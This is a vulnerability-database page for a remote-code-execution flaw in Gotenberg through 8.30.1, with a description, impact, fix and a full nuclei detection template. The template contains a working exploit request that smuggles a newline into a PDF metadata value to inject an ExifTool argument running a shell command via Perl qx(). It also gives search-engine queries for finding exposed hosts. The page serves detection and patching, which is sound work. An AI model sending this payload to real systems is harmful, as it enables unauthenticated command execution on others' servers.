HexBrain

Browse / CVEs / CVE-2026-40281

CVE-2026-40281· gotenberg / gotenberg· CWE-88

Gotenberg <= 8.30.1 - Remote Code Execution

criticalseverity
9.1CVSS score
2.3%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it

Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.

Impact

Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.

Fix

Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.

How to confirm it

Send: POST /forms/pdfengines/metadata/write
Positive when: matches /uid=[0-9]+\([a-z0-9_-]+\) gid=[0-9]+\([a-z0-9_-]+\)/ AND contains in header "application/pdf" AND status 200

Run it with nuclei: nuclei -id CVE-2026-40281 -u <target>

The full check
id: CVE-2026-40281

info:
  name: Gotenberg <= 8.30.1 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Gotenberg through 8.30.1 sanitizes only the keys of the JSON metadata submitted to the PDF metadata write endpoint, leaving the values unvalidated. A newline inside a metadata value is written straight to the ExifTool process standard input, where it terminates the current argument and starts a new one, letting an unauthenticated attacker inject arbitrary ExifTool arguments and execute operating system commands through an advanced formatting expression.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands as the Gotenberg service account and read the command output from the returned PDF, potentially leading to full compromise of the container and of the internal network it can reach.
  remediation: |
    Update to version 8.31.0 or later, which validates metadata values in addition to metadata keys.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q
    - https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318
    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0
    - https://github.com/vulhub/vulhub/tree/master/gotenberg/CVE-2026-40281
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40281
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-40281
    epss-score: 0.02258
    epss-percentile: 0.83116
    cwe-id: CWE-88
  metadata:
    verified: true
    max-request: 1
    vendor: gotenberg
    product: gotenberg
    shodan-query: "Gotenberg"
    fofa-query: "Gotenberg"
  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev

variables:
  cmd: "id"

http:
  - raw:
      - |
        POST /forms/pdfengines/metadata/write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files"; filename="{{randstr}}.pdf"
        Content-Type: application/pdf

        %PDF-1.4
        1 0 obj
        << /Type /Catalog /Pages 2 0 R >>
        endobj
        2 0 obj
        << /Type /Pages /Kids [3 0 R] /Count 1 >>
        endobj
        3 0 obj
        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 100] >>
        endobj
        xref
        0 4
        0000000000 65535 f
        0000000010 00000 n
        0000000062 00000 n
        0000000122 00000 n
        trailer
        << /Size 4 /Root 1 0 R >>
        startxref
        196
        %%EOF
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="metadata"

        {"Title":"{{randstr}}\n-Title<${PDFVersion;$_=qx({{cmd}})}"}
        ------WebKitFormBoundary{{randstr}}--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-z0-9_-]+\) gid=[0-9]+\([a-z0-9_-]+\)'

      - type: word
        part: header
        words:
          - "application/pdf"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from